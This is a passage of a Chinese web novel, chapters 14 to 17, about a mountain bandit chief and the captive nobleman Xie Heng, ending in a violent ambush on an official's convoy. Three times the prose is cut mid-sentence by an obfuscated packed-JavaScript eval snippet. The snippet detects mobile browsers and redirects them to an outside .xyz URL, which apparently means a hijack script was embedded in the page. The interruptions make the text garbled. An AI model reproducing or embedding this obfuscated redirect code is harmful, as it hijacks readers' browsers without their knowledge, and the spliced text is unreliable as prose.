憧怔间,沈青的后颈挨了一记手刀,人软软地趴了下去。 谢珩不解地看向身后的偷袭之人。 萧瑞尴尬地扯出一个笑容,熟练地将被他敲晕过去的沈青拎起来背到自己身上,果然还是高估了大哥的酒量啊! 见谢珩正盯着自己看,还硬着头皮解释一番:“主要是他每次喝醉了丢脸吧,丢的可是我们整个莽山的脸,我这是悬崖勒马。” “还能……这样?” 他真不怕沈青醒来宰了他? 萧瑞不慌不忙:“没事没事,等他醒来根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895267|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不会记得的。” ……好吧,好像确实如此。 萧瑞背着沈青继续往回走,谢珩低头看着还缩在袖中瑟瑟发抖的几只小雏鸟,只好将衣袖又拢紧了些,不紧不慢跟了上去。 回到小金顶,沈青自然是被扔到了谢珩的榻上然后没人再多管她。 谢珩坐在案前,一桌一椅,一灯一壶,还与他早上离开时无异,本以为是永别,没想到才一日便重逢。 见榻上的人正睡得四仰八叉,他微微叹了口气,起身吹灭了油灯,屋中顿时陷入一片黑寂,只有窗口透进微微幽光。 他缓步走到榻边,凑在边缘处勉强躺下,扯了一点被角盖在自己身上,眼下的情况虽脱离了原来的掌控,但好在沈青在醉梦中,没有什么危险性。 刚安心合目浅寐,一双手从被窝里探过来,在他身上不安分地胡乱游走一遍,又像一只八爪鱼一般手脚并用将他缠住。 谢珩凝神不敢乱动,生怕打扰她,只求她找个舒服的睡姿赶紧继续睡过去。 可是今晚身边这人似乎格外不安分,一双手缠在他胸口越缠越紧,灼热的呼吸在颈间越贴越近,他终于不耐,出声提醒:“沈青,你要做什么?” “我要你跟我生孩子呀。” 沈青带着软绵的醉意竟然回应上了,谢珩浑身再次僵住,这人到底是醉还是醒? 他还没有做出反应,紧缠着他的人已经倾身覆了上来,好在这一次,在他腕上命门被扣住瞬间,他先出手用袖间银丝缠住对方的腰身。 沈青浑然不觉,低头往下凑得极近,两人几乎鼻尖要碰到鼻尖,借着窗外的微光,她看清这是谢十三。 “谢十三啊,”唇齿间咀嚼着这个名字都让人如沐春风:“今天晚上你心甘情愿了吗?我对你这么好,还不愿意跟我生孩子?” 冷不丁的,谢珩对上了一双眸光似水,盛满朦胧醉意的眼睛。 他突然就有些后悔,自己该是高估了他的酒量,晚上就不该出声让他少喝点,干脆就该让他喝得昏天暗地一觉睡到大天亮。 现在这半醉半醒,更加难缠。 这会儿讲道理肯定是没用的,他勒紧手中银丝,顺着刚才的问话答道:“我不愿意,你再不冷静下来,以后也都没机会。” “冷?我不冷,我要热死了!”沈青将人抱紧了直往上贴,仿佛身下的人是个冰块一样。 谢珩抵抗着不让自己衣裳被扒拉下来,两人肢体相触间,他越发感觉,身上这人,他的呼吸,他的掌心,他的身体,的确灼人得厉害。 他心中暗叫不好,这大概是鹿血酒的厉害,也不再多想,手上多用了几分力,缠紧银丝欲将压在自己身上的人拉开。 大概是在迷蒙中感受到有力气在拉扯自己,为了摆脱束缚,沈青身子更用力往前一倾,一掌准确无误地拍到谢珩肩上伤口,将好不容易勉强挣起一点身子的谢珩用重新摁了下去。 “嘶——” 谢珩痛得直抽了一口凉气,手上自然脱力,银丝一松,又重新回到自己袖中。 “你怎么啦?”察觉到他的异样,沈青迷离发问。 “你先放开我。”谢珩声音发颤,肩上的剧疼让他没力气再说多余的话。 “我才不要!”趁着腰上禁锢松开,沈青顺势扒开谢珩的衣襟,歪头凑了上去。 温软的唇贴上锁骨瞬间,谢珩真的像是被烧得通红的铁烙狠狠烙了一下,只觉周身血脉在奔腾逆流,整个人都要被烈火熔成灰烬! “沈青!” 他低低吼了一声,这感觉像极了他被刚掳过来的第一晚,可是他再生不出咬舌自戕的念头了。 此时他身上都被钳制着,袖中银丝已经没法再缠上沈青的腰,除非……从他胸前当胸而过,让他即刻毙命…… 锁骨上那一点灼热越发清晰滚烫起来,犹如一团烈火,正在热烈驱使他脑海中的天人交战,指尖好几次抬起又放下,始终做不出最后决定。 “不行,还是不行。” 颈间的灼热突然被收了回去,身上的人又停止了动作,软趴趴伏在他胸口,黑漆漆的空气里只剩下诡异的安静,他无比清晰感受着对方呼吸起伏和心脏跳动何其剧烈。 “诶,我真的是不太行!” 沈青重重哀嚎了一声,翻了个身,从谢珩身上下去,卷着被子呼呼大睡起来。 身上突然一轻,谢珩还是保持着原来的姿势静静躺了好一会儿,终于起身重新整理自己被撕扯得凌乱的衣裳,一摊手,掌心不知何时浸满冷汗。 明明沈青已经睡到一边去了,他总感觉颈间那一点灼热还在,怎么也消散不了,用帕子擦拭了几次后,他终于颓然地重新靠回榻上。 肩上伤口渗出血来,他也不想管。 许久之后,心里那种说不出的烦闷异样依旧消散不去,谢珩不耐地看了一眼正在熟睡的始作俑者,突然发现她背上整片衣裳也都被汗水浸透,额边鬓发也被汗水打湿,略显凌乱地覆在颊边,一张俊秀白皙的面容透上点点绯红。 看上去确实有点……虚? 看来这鹿血酒是真有效果,但是这沈青…… 几句“不行”,是他清清楚楚听到的酒后真言。 作为男人,他当然知道“不行”意味着什么。 他忽然想明白了之前的种种关窍,为何沈青一个如此色迷心窍之人,这么多年却只有一位夫人,还一直没有子嗣;为何他与沈青同榻而眠这么多天,每次都有惊无险…… 窗外灌进来一阵冷风,谢珩被吹得身上一凛,心底的那股愤怒和屈辱突然消散了不少。 他终于明白,沈青心理上的种种扭曲,源头竟是在这里。 15. 第 15 章 沈青一早是被细细碎碎的奇怪鸣叫声吵醒的,这声音离她格外近,仿佛谁塞了个什么东西在她枕边嗡嗡吵吵。 宿醉和起床气的烦躁,让她眼睛还没睁开,杀意就先蔓延了起来,不管是什么东西,它都完了! 她迷瞪睁眼,循着声音往枕边一看,整个人顿时从榻上弹坐起来。 “这是什么丑东西啊!” 不是有多吓人,是真的丑到她了。 听到声音,谢珩从门外进来,外面已经天光大亮,沈青只看得清背着光的轮廓,长衫逶迤,玉树仙姿。 直到他越走越近,他的五官轮廓才渐渐清晰呈现出来。 他在榻前蹲下,捧起铺了一层棉絮的小竹筐,里头三只小“肉球”嗷嗷张着尖尖长嘴,叫得更厉害了。 沈青更加不想多看它们一眼了,尤其在谢十三这张脸旁边,它们被凸显得丑到惨绝人寰。 谢珩怕惊到手中之物,压低声音跟她解释:“这是你昨天晚上喝醉了,非要捡回来的小雏鸟。” “这玩意是鸟?” 沈青惊掉下巴,看着谢珩取了一根小木勺,依次往小雏鸟的嘴中一点一点喂一些碾碎的水米,小雏鸟也张大嘴巴争先恐后奋力进食。 这么多看几眼,确实是鸟。 “真没看出来,你这人还挺耐心的,以后有当一个好爹爹的潜质啊。”她从未见过谢十三这样耐心细致的一面,这么一看,这几个丑丑的小东西也顺眼了不少。 谢珩只是清淡抬眸瞥了她一眼,继续手上的动作:“是你昨晚吵着要做它们的阿娘,非把它们抱回了小金顶,万物有灵,既然带回来了,我也不能眼睁睁看着它们饿死。” “我一个大男人,怎么可能说这样的话……”沈青心虚地挠了挠头,眼神往谢珩脖子上瞟了眼:“我昨晚……应该没再做什么奇怪的事情吧?” 这回谢珩头也未抬:“你希望做什么奇怪的事情?” 沈青摸了摸鼻子,不再说话,言多必失。 她又坐在旁边聊赖地看了会,直到那几只小雏鸟薄薄肚皮被撑得圆滚,再也吃不下了,她又忍不住腆着脸问道:“它们吃饱了,我能玩一玩吗?” “这不是用来玩的,”谢珩抿唇叹了口气,但还是轻轻捏了一只小雏鸟放在她手心:“你这样托住它,不要用力,别让它掉下去就行。” 沈青摊开掌心,近乎虔诚地将小雏鸟迎过来,小东西眼睛还没睁开,只知道在她掌心里扑腾,细嫩的爪子和嘴尖挠得人丝丝痒痒。 “哈哈哈哈,这也太好玩了……”沈青被挠得前俯后仰。 谢珩在一边都看得有些急了:“你小声一点,这样会吓到它。” “好好好,小声小声,”沈青努力控制住自己,又凑着一张脸盯着手掌中的小生命:“你说它们真的能活吗?它身上羽毛以后是怎么个长出来法呢?你说我要不要先把它眼睛掰开?” “不用,只要让它吃饱喝足,它们自然而然就会长大。” “行吧,那就希望它们赶紧长大。” 沈青顺口应了一句,摊手准备将小雏鸟放回去,谢珩怕她没轻没重伤到小雏鸟,先一步从她手中轻轻捏起小鸟,小心翼翼将它放回棉絮做的小窝中。 “谢十三,”她望着近在咫尺的那张温柔沉浸的侧颜,忽然道:“我觉得……你今天不太对劲。” 谢珩心中略微一紧,表面还是若无其事:“哪里不对劲?” 沈青盯着他的眼睛,语气有些不太确定:“你今天好像对我特别耐心诶,难道你终于要开始对我日久生情了吗?” 其实不仅仅是耐心,从他偶尔看过来的眼神中,她甚至感受到了几分……同情? “快点,老实交待!”她懒得猜,实在想不到自己有什么值得被同情的地方,必须得问出个所以然来。 谢珩面露踟蹰,好在萧瑞的声音及时解救了他。 “大哥!你快出来看!” 沈青最烦自己正事被人打乱:“干什么?你最好是真的有事!” “谢珩派人送来的一百金到了!” 话音未落,等谢珩反应过来的时候,沈青人早就出了屋外,远远地只留下一道青影,踏着白雪掠过一串脚印。 他已然习惯,没什么表情地起身跟了上去。 沈青大步跨入议事厅的门槛,兄弟们都等急了,纷纷让出一条路:“快让开,快让开,让老大亲自来开箱子。” 桌上正正方方摆了一只黑漆漆的实木大箱,赖三殷勤地在箱盖上敲了几下,箱子里头闷闷的回音都是沉甸甸的。 “老大,这厚实!大货啊!” 沈青抬手摸上厚沉沉的木箱,突然都有点不舍得开这个箱子了:“这个谢珩平时虽然讨厌,这次倒还算守信,第二日就给我把现货送上山了。” 刚一进门,就听到这么一句话的谢珩,默默站远了些。 “吧嗒”一声,沈青开了锁,抬手掀开了箱盖,兄弟们纷纷伸长脖子围观,里面金灿灿的金锭垒放得整整齐齐,连带着沈青小半张脸都映透着金光。 “哇!好多!” “啧啧,真好看!” “去去去,别一个个都一副这么没见过世面的样子,显得好像我平时没带你们挣过大钱一样!”沈青很是嫌弃地将身边凑上来的一堆脑袋拂开,自己却眉开眼笑地一手拿起一个金锭,咬了又咬,敲了又敲,十分陶醉于两只金锭相碰的铮铮脆响。 还忍不住扬起手像谢珩炫耀:“你听这声音,是不是要比你族兄的琴音美妙多了?” 谢珩竟也弯了唇角:“对你来说,那自然是这个声音更好听。” 沈青听出他言外的讽刺,也心情大好地没有骂人:“哼,亏你们天天标榜自己是君子呢,君子爱财没听说过吗?不喜欢金银钱财,就不配叫君子!” 谢珩已经听惯了她对圣贤书自成一派的注解,看着她那双亮晶晶的眼眸里,映满了灿灿金锭,忽然想到自己昨晚发现的那个秘密,那不可言说的隐疾……心中竟然莫名生起一丝安慰,看来这人没有完全消极,反而能积极从别的地方找乐子安抚自己,也挺好的。 “诶,可惜了,”沈青带兄弟们欣赏得差不多了,突然又想起来,满是怅然:“我在官府那里的悬赏令,赏金都已经涨到五百金了,可惜谢珩只是为了做戏,今天就把悬赏令给撤了。早知道他这么守信用,我昨天就不该跑那么快!非赖在他大牢里把那五百金赚到不可。” 这么一说,整个厅中无不蔓延着痛失五百金的痛心疾首。 “既然这次合作愉快,继续维持表面的和平,也许以后也能有不少合作。” 在一片唏嘘嘈杂声中,谢珩清雅的声音显得格外突兀。 沈青抬眸看向他,连带着其他兄弟也都安静了下来。 “你的意思是,谢珩这人以后还会跟我们合作?” 谢珩回过神来,不知为何,刚才看到沈青蹙眉惆怅的样子,竟然会脱口而出这样一句话。 他缓声解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909436|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释:“我族兄也并非不懂变通之人,对彼此都有好处的事,他不会放着不做。” 沈青翻了个白眼:“你还是对谢珩有些过于崇拜了,他这人……哼,我都懒得说。只希望呢,有了这次经历,他那一根筋能捋弯一点,多做些皆大欢喜的事,少一天到晚只喊着要剿匪。” 谢珩抿了抿唇,没再多搭话。 * 自沈青开开心心收了谢珩的一百金,连着好几日都没睡好,夜里梦中都是躺在金灿灿的黄金堆里打滚,一晚上要生生笑醒好几次。 每次笑醒过来,一扭头,就能看到枕边绝色容姿,于是开心得更加难以入睡。 以至于到了白天的时候,总是要时不时打盹补眠。 比如今日,她窝在檐下的藤椅里摇啊摇,一边赏雪,一边笑看谢珩正衣裙逶地蹲在那儿细致地给小雏鸟们喂食,看着看着,眼皮就沉沉合了下来。 谢珩继续专注手上的动作,几只小雏鸟明显要比刚捡回来的时候有力气多了,尤其张嘴抢食的时候,一个个扑腾得可厉害了。 再好好养几日,应该就能慢慢睁眼。 说来也是缘分一场,要不是那日在清乐酒家沈青回来得太早,打乱了他的计划,他这会儿必定也不会在小金顶上了。这几日小雏鸟,要么就在雪地里被冻死,要么也可能还是会被捡回来……应该会因为沈青常常忘记喂食而被活活饿死吧。 即便回了小金顶,这次他也不会再久留,也许在沈青下一次带他下山的时候,他应该会顺势找个机会彻底离开,只希望到时这几只鸟儿羽翼已成。 一阵风裹挟着雪气向檐下刮过来,他连忙拢了拢小窝中的棉絮。睡在藤椅里的沈青大概也感觉到了一丝冷意,把身体缩了缩,并没有醒过来。 谢珩侧目看去,藤椅上的人缩成一团,这么看起来,他的身形确实较一般男子要单薄几分。 他初见沈青时有过诧异,因为没想到恶名昭著的莽山悍匪竟然是一个年轻公子,他也不得不承认,沈青的容貌和声音,都有一种阴柔的俊美。 自从那晚知道了他不可与人言的隐疾,对于他的亲热和靠近,他也少了几分抗拒,反正他嘴上说得张狂,其实却无能为力,也没什么好让人担惊受怕的了。 只能说……可恨之人亦有可怜之处吧。 “你又偷偷看我,看了老半天呢,”藤椅上明明正合目而眠的沈青突然睁开双眼,一派清亮:“你到底在看什么?不如扪心自问一下,是不是对我动心而不自知了?” 谢珩连忙别开眼去,错开她的视线。 此事涉及男子尊严,在沈青的逼视下,只好斟酌了一下用词:“每个人天生都有其擅长和短缺之处,要是你以后能多做些自己擅长做的事情,也挺好。” 沈青听得一头雾水,并简直难以置信:“我还有短缺之处?” 谢珩没有多说下去,也不想再答话。 沈青真是莫名其妙,偷看就偷看吧,还说一大堆有的没的,看来他真是开始鬼迷心窍了! 对于生孩子大计来说,又是一个很重要的进展啊。 “老大!三岔湾有大货!” 可惜安享了几天的悠闲生活,突然被赖三这么一嗓子喊破了。 “来了!” 沈青应了一声,骨碌一下从藤椅上跳起来,抬脚两三步跨下了阶梯。 谢珩顿生出一种很不详的预感,也站起了身:“你做什么去?” 沈青头也没回:“打劫去啊!” 16. 第 16 章 三岔湾的消息一来,萧瑞和赖三已经迅速集结好一帮兄弟,待沈青一声令下,一群人便浩浩荡荡往山下去。 “你们要去哪里?” 沈青这才注意到谢十三竟然跟来了,不由得蹙眉:“我们去打劫,你跟过来做什么?” 谢珩答她:“我没见过你们打劫。” 来莽山这些时日,他基本摸清小金顶的情况,但说起来,这个令人闻风丧胆的存在,到底是怎么杀人越货的,他还真没见识到。 沈青淡淡瞥了他一眼:“你看完后别哭就行。” 每个人脚下步伐都很快,一开始还时不时有一些嬉笑吵闹的声音,多往下走了几里路,一众兄弟们都难得地安静了下来,只专心赶着脚下的路。 下了小金顶,又继续往外走了近一个时辰,谢珩终于有些按捺不住:“我们要走到哪里去?再走不是就出了莽山吗?” 沈青告诉他:“我们现在就是要出莽山。” “嗯?”谢珩不解。 一路无聊,沈青也耐心答他:“我们要去的地方叫三岔湾,是我们莽山,还有绿柳寨的覆船山、牛头寨的凤眼山三处的交汇地,凡是经由此地的钱财大货,都是由我们三家平分。” 三岔湾这地方谢珩自然知道,渝州最让官府头疼的一块地方,他也一直无法解惑:“既然这里是三家匪寨交汇之处,按理说其凶险程度应该杳无人迹才是,怎么还会有人愿意从这里过路?” 沈青无语摇头:“一看你们这种养尊处优的世家子弟,对我们山匪的了解就很失偏颇。我们只是山匪而已,又不是见人就杀的杀人狂魔,那些没钱的,长得难看的,我们根本就不会多看一眼的好吗?” “……行吧,”那显然这次能让沈青出动的过路人,必定非富即贵,他又追问:“那富贵人家怎么又愿意从这里过路呢?” “总有些不怕死也不把我们当回事的呗!”沈青冷冷一笑,忽然一把拽过他的衣袖,两人一起扑倒在雪地上:“就是这儿了,好好趴着,别冒头。” 谢珩只好默默趴在沈青身边,抬眼打量了一下周围的地势,他们此时正在一个小山坡上,附近都是类似大小高度的小山坡,山坡下面确实有一条蜿蜒小路穿梭其中,只是已经被大雪覆盖,依稀只辨得出一点痕迹。 小金顶上跟来的兄弟们,这会儿也井然有序,只需沈青的一个手势,便依次错落隐蔽起来,原以为只是一群乌合之众,这样的关头,竟比得上在营中训练多年的士兵。 四下静静悄悄,只听见山谷间,偶尔有树枝不堪积雪厚重,被折弯的断裂声和簌簌雪落声。 他不由得为接下来要从此路过的人捏一把汗。 约莫又等了大半个时辰,终于听到山坡底下有了稀疏人声和脚步,再一会儿,有隐约人影慢慢走进这幅干净的雪景图中。 待人又走得近些,谢珩看清是一支队伍,中间是几辆马车缓缓前行,前后各有带刀的侍从护卫,再走得近些,他已经看清马车上悬挂的青铜兽面的官府徽印,还有那些带刀的侍从,分明就是穿了官制的侍卫服。 他惊诧地望向身边的人:“你们竟然敢劫朝廷命官!?” 冷风掠起沈青额前几缕碎发,更显清绝容色下的桀骜张扬:“朝廷命官?那只怕他手上的人命可要比我多。” 谢珩语气也冷了几分,提醒道:“就算是为官有过失之处,那也自有朝廷律法。” 沈青冷笑一声:“律法有个大头鬼的用!” 谢珩还欲说什么,忽然一道尖锐的哨声破空响起。 “财神爷来了,兄弟们上!” 隐蔽在沈青四周的兄弟们纹丝未动,而是四方其他好几个山坡上,明明也覆满白雪不见人迹,霎时间犹如天降神兵,每个山头都乌泱泱冲出几十号人来,将过路的队伍前后来去的路都拦了个严实。 队伍中的侍卫反应极快,纷纷抽刀抵抗,山坡下一时混战起来。 沈青不紧不慢地看着戏,还饶有兴致向谢珩讲解起来:“你看那边穿青绿衣衫手中拿着折扇的,是覆船山绿柳寨的老大徐唐,没什么大本事,喜欢到处捡便宜,在各个山头匪寨间游走交际,倒也是让他发了家。渝州所有山头里,我最烦的就是他,下这么大雪,别人都在打架,他一个人拿把扇子在旁边摇,觉得自己可英俊潇洒了。” “你再看那个,拿着大刀冲在最前面砍得最猛,吼得最凶的,是凤眼山牛头寨的老大孟渊,这是个狠人,刀法刚烈,打起架来真不要命,原来牛头寨的老大不是他,他杀了老大然后取而代之的。” 谢珩一边听一边静静观察她所说的两人行事,的确风格迥异,渝州的匪患,除了莽山是最大势力,覆船山和凤眼山也是不容小觑的存在,当日沈青的纳妾之宴,这两人都有上山赴宴,他能将名字和人物对上,今日总算亲眼见到两人行事了。 打斗间,为首的那辆马车车帘被掀开,里面走出一个膀大腰圆凤眼粗眉的汉子,虽然只穿了一身常服,两鬓也有点点斑白,可打眼一看,就知道是个不怒自威的武官。 沈青望过去蹙眉“啧”了一声:“这人……” 她都不想多说。 不过那人却先开了口,用江湖人的方式抱拳见了一礼:“诸位好汉,某本是江州都尉上将军庾闻,一时疏忽纰漏,被圣上贬谪要前往绵州丰县任县令一职,途径贵宝地,贬谪之身,不劳各位挂心,还望通融借过,某这里留有些买路钱,权当给各位买些酒肉加餐,勿要嫌弃。” 一字一句,声若洪钟,在满场的厮杀声中,还能十分清晰地传到每个人的耳中。 听起来是诚意满满的示好,实际上是拿着官威家世压人呢。 沈青冷眼看着,那边徐唐手中折扇一合,远远回话:“还是当官比较好啊,犯了事,还能换个地方当官。既然之前是江州都尉,这回带在路上的身家应该不少,兄弟们可加把劲了!” 孟渊更是不为所动,举着长刀一声不吭左右厮杀。 果然,庾闻一张脸立刻阴沉下来:“既然敬酒不吃吃罚酒,那就统统,杀无赦!” 到底是武将威严,寥寥几字,杀意凛然。 他手下的侍卫得到指令,顿时也士气大增,杀招顿出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919559|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>到底是朝廷训练有素的侍卫,厮杀一阵下来,明显庾闻的人开始渐渐占了上风,另外两家山头的匪徒慢慢不支,有了溃败奔逃之势。 还是孟渊力挽狂澜,反手一刀将一个往后逃的兄弟抹了脖子:“谁敢再退一步,就是这样的下场!” 气得徐唐远远地直跺脚:“姓孟的,你要稳住情况,你杀自己的人啊,杀我的人算什么!” “你的人太不中用了,该死!” 沈青见局面到这一步,也不再观望,两指放在唇间响亮地吹起一声哨令,身后的兄弟们等了太久,喊出一片杀声冲下山坡。 身先士卒的是赖三,光着膀子举着一根铁光锃亮的狼牙棒,勇猛异常;萧瑞也不甘落后,虽然手上是一口软剑,却也是见血封喉。 谢珩来不及阻止,一把拉住沈青的衣袖:“庾闻不仅仅是朝廷命官,还是四大世家中庾氏中人,你非要淌这趟浑水吗?” 沈青毫无所谓:“谢十三,你们谢家是四大世家之首,我都不怕得罪,区区一个庾家,还能把我怎么样?你不是自己追着要来看打劫的吗?要看你就跟我过来看,不想看了就一边待着等我回来。” 谢珩目光落在他扯着她的那片衣袖上,须臾,终于还是慢慢放开。 沈青缓了口气,如闲庭信步般慢慢走下山坡,忽然感觉后面多了个影子跟着,一回头,原来谢十三还是板着那张脸,默默跟了上来。 她没空去多关注他的情绪,好在手下兄弟的及时加入,彻底扭转了刚才的局势,庾闻手下侍卫开始抵挡不住,渐渐缩小打斗范围,队形收拢,近身将队伍中的几辆马车保护起来,不让匪徒冲破最后防线对马车里的人下手。 但是孟渊实在势不可挡,已经率先突破了他们的防护圈,飞身直跃上庾闻的那辆马车,庾闻迅速抽了一把长枪,两人近身搏斗起来。 反正前面有赖三和萧瑞带着兄弟们在厮杀,沈青没准备动手,干脆找了块大石头坐下近距离观战起来。 “还是得高手过招,才比较有看头。” 见谢十三不搭她话,她也不管,自顾自托腮看了起来。 孟渊的路数与她完全不同,她擅长出其不意,看准时机一招毙命,而孟渊的刀法要更刚猛醇厚,所向披靡。 此时孟渊正仗着自己一身浑厚的力气,一刀一刀直砍得庾闻节节后退,尤其是庾闻要年长许多,光靠力量抗衡,根本不是孟渊的对手。 好在庾闻手中长枪偏偏能克孟渊的那把钢刀,虽然身上大大小小被砍了好几处伤,但孟渊始终没有机会真正近身来给他致命一击。 直到几十个回合下来,对于孟渊来说,力气消耗太大,加上年轻气盛过于急躁,反倒给了庾闻有机可乘。 到底是真正上过战场的老将,落于下风打了这么久,竟然还能稳稳缠住对方将他消耗殆尽。 高手过招,往往失之毫厘差之千里,孟渊的一刀失了半寸方向,庾闻的长枪如雷霆万钧直挺挺刺向他的胸膛。 谢珩只感觉眼前一晃,一道青影飞掠出去,如一阵回身拂柳的春风,稳稳落在孟渊和庾闻身后。 17. 第 17 章 沈青如一道回身拂柳的春风,掠过孟渊和庾闻的头顶,稳稳落在两人身后。 谁也没有看清是怎么回事,那柄原本要插入孟渊胸口的长枪,已经被折断反插进了庾闻的胸口。 万籁俱静。 庾闻高大的身影轰然倒下,和杜峤一样,还瞪着一双眼睛直盯着前方。 “爷爷——” 一道稚嫩的哭声打破诡异的宁静,很快又被人重新按回了马车。 孟渊也反应过来,盯着突然出现的身影冷哼了一声:“架都打完了,你倒是会来捡便宜。” 沈青耸耸肩,摊开双手:“为了救你一命,我刚才险些废了一双手呢。小爷我一双手,换这狗官一条命,那可亏大了。” 听她这么说,众人的目光落在她那双手上,果然受了不轻的伤。 将一杆正在出击的长枪枪头掰折,瞬间迸发出来的力量,确实足以将双手震断。 好在她腕上的护腕绷得很紧,用的力气也巧妙,手腕虽然受伤肿了一圈,还好没有到伤筋断骨那一步。 这是谢珩第二次见她出手,如此惊艳绝伦的身手,原来也是会受伤的。 孟渊哑然,但也坚决不跟沈青多说一句话。 徐唐笑嘻嘻过来打圆场:“大家都是兄弟,见什么外,一起看看货吧。” 沈青扬扬下巴示意萧瑞:“跟他们去点货,拿了我们那份就走人。” 萧瑞点点头,跟另外两个山头的人,各自带着手下的兄弟开始清点现场。 庾闻的尸身还横卧在马车边,身下已经流了一滩血,淙淙浸在雪地上,有种骇人的凄艳,侍卫们自然也纷纷放弃了抵抗,被押在一边。 马车里的人都被拖了出来,里面竟然只有女眷妇孺,呜呜咽咽缩成一团,两个更年轻一些的少女,吓得几乎要昏死过去。 不过一想也是,就算是贬官,有庾氏大族的庇护,庾家的男丁,自有办法免去这牵连之苦。 最后马车里出来十几口乌漆漆大箱子,箱子被当众掀开,满满当当尽是些金银珠宝,古玩器物。 顿时惊呼声四起。 饶是看惯了这些俗物的谢珩,也被这满目琳琅价可连城的十几口大箱子冲击了一下。 庾家,果然是四大世家之一。 萧瑞在清点的过程中,沈青跟另外两个寨主各自站一角,谁也没跟对方说话,只默默盯着以防谁家趁乱私吞。 对于那两个人,反正大家各取所需,沈青也不想跟他们多说什么,现在让她分心的是谢十三,这人从下了坡就没给过她一个好脸色,尤其她把庾闻杀了后,他那张俊脸,简直可以结一层冰了。 刚才没心思去管他,现在她得好好琢磨一下,怎么来哄美人一笑了。 真是麻烦得很。 她起身准备离开,略一侧首,确定谢十三虽然冷着一张脸但还跟在她身后,才扬声跟另外两个寨主告别:“货我到手了,就先走一步,改日再会。” 徐唐倒还微笑点头应了声“好走,再会”,孟渊则是下巴都要扬到天上去了。 沈青大步从他们面前走过,突然又想起了什么,顿步回身,看了一眼被押成一排的侍卫和缩成一团的妇孺,又道:“堂堂都尉培养出来的侍卫,确实好用啊,我想带几个回去,有没有想上莽山为我效命的?等我走了,可就没机会了。” 最后一句话,她特地加重了说。 侍卫中有人面露纠结最后决定效命沈青,也有人始终坚定不移高喊“誓不从贼”的,沈青收了几个愿意跟她的,没再多做停留。 她带着兄弟们往回撤,刚走几步便听到身后是徐唐用最嬉皮笑脸的语气,说出最阴恻恻的话。 “莽山的人走了,兄弟们都自便吧!” 她眉头微不可察轻蹙一下,继续领着兄弟们往回走。 谢珩却悚然回望。 剩下的几个侍卫直接被抓着抹了脖子,孟渊身后冲出来一个脸上带疤痕的汉子,径直冲到几个手无缚鸡之力的妇孺面前,先一把将她们紧紧护住的一个小女娃拽了出来。 “这女娃娃养得也忒好了!给我去死吧!” “不要!住手!” 谢珩高呼着冲过去想阻止他,可是尖刀已经将女娃的小小身体刺穿,她连哭都没来得及多哭一声。 地上蜷缩成一团的几个女子终于彻底崩溃,发出绝望的哭泣。 而另一把刀,被孟渊横在谢珩脖子上。 谢珩顿了脚步,目之所及,是小女娃软倒在血泊中的身子,一张玉雪可爱的小圆脸被溅上点点血污,了无生气。 他周身弥漫起杀意:“所有财物你们都已得手,为何还要滥杀无辜?” 孟渊被他凛凛眼神震住,顿时生起一种本能警觉,手上握刀的力气更紧几分,凝神盯着眼前人,缓缓将刀锋抵进他脖颈,渗出一道血痕。。 “孟寨主,你要动我的人吗?” 沈青不知何时回过头来,站在土坡上懒懒抱臂,居高临下望着这边。 孟渊回过神来,半点不敢放松,冷声提醒道:“沈寨主,你可别坏了规矩。” 沈青静默了一瞬,目光落到了谢珩身上,温声喊他:“谢十三,过来。” 谢珩分毫未动,抬眸静静望着她:“我不过来,把这几个无辜女子放了。” 沈青忽然有一瞬间的失神,在她身边的谢十三,虽然有愤怒,有抗拒,但最后他都是隐忍而妥协的,她从未见过他这样决然坚定的一面。 他不是在请求她,而是在命令她。 她也坦然告诉他:“这不是我们要插手的事。” 谢珩手指摸到了袖中机巧,几乎是发出最后通牒:“放人。” 沈青举目四望周遭一片尸横遍野的狼藉,好一张干净的雪景图,被血污了个彻底。 她凉声问他:“你一个人能怎么样呢?在这里跟她们陪葬吗?” 她看过来的目光,比谢珩初见她那一天还要清寒凌厉,这些日子相处虽觉她蛮横张扬,但总归对他是多包容妥协的,以至于他都忘了自己是在与虎谋皮。 谢珩手中紧紧握住袖中机巧,他感受到身边不停有人拢过来,他已经分辨不清是莽山的人还是其他山头的人,围在身边的人越来越多,好像每个人都伸出了一双手,争先恐后上前扼紧他的咽喉。 俊美的容颜渐渐灰败下来,他嗡动着双唇,最终什么也没说出来。 袖中本来已握紧机巧的手,也无声垂下。 见两人对峙得差不多了,在一旁看戏看了许久的徐唐手摇折扇大笑起来:“还以为沈寨主风流倜傥要烽火戏诸侯呢,没想到在这样美色面前也还能不坏规矩,到底是做大事的人。” 